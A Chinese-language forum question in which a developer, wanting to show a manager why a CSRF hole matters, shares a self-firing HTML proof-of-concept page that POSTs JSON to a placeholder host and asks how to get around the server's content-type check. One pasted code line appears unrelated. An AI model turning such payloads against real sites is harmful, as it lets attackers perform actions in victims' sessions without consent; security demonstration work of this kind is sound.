我想向我的经理展示CSRF攻击,指出修复它的重要性。因此,我正在尝试对我们的应用程序进行攻击。所以我做了以下事情:
$authenticationUtils->getLastAuthenticationError()
但是由于来源不同,它会产生CORS错误。
在internet中搜索后,我发现了另一种使用JSON进行表单提交请求的方法。
<html><head>
<script>
function doCsrf()
{
var xmlhttp = new XMLHttpRequest(); // new HttpRequest instance
var theUrl = "https://host:port/resources?type=textfragment&guid_format=false";
xmlhttp.open("POST", theUrl);
xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
var data = {"name": "TextName-3","description": "","type": "textfragment","contentType": "text/html"};
xmlhttp.send(JSON.stringify(data));
}
</script></head>
<body onload='doCsrf()'>
</body>
</html>
通过这种方式,我可以使用JSON提交表单,但是Content-type将作为“ text / plain”。因此,服务器拒绝此请求,并带有“ 415:内容不受支持错误”,因为服务器需要“ application / json”。我知道我们不能使用Form Submit更改content-type。 我现在被封锁了。
有没有办法为ajax调用成功创建CSRF攻击?